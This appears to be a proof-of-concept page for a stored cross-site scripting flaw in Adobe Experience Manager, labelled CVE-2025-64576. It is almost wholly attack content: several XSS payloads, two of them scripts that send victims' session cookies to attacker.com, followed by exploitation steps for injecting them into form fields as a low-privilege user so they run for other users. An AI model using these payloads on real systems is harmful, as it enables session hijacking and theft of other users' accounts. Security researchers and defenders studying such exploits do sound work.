CVE-2025-64576: Adobe Experience Manager存储型XSS漏洞

<!-- CVE-2025-64576 Stored XSS PoC for Adobe Experience Manager --> <!-- This PoC demonstrates the XSS vulnerability in form fields --> <!-- Method 1: Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Method 2: Event Handler XSS --> <img src=x onerror=alert(document.domain)> <!-- Method 3: SVG XSS --> <svg onload=alert('XSS')> <!-- Method 4: Cookie Stealing Payload --> <script> var img = document.createElement('img'); img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); document.body.appendChild(img); </script> <!-- Method 5: Session Hijacking --> <script> new Image().src='https://attacker.com/log?cookie='+document.cookie; </script> <!-- Exploitation Steps: 1. Login to Adobe Experience Manager with low-privilege account 2. Navigate to a form page 3. Inject XSS payload in any form field 4. Save/submit the form 5. When other users view the page, XSS will execute -->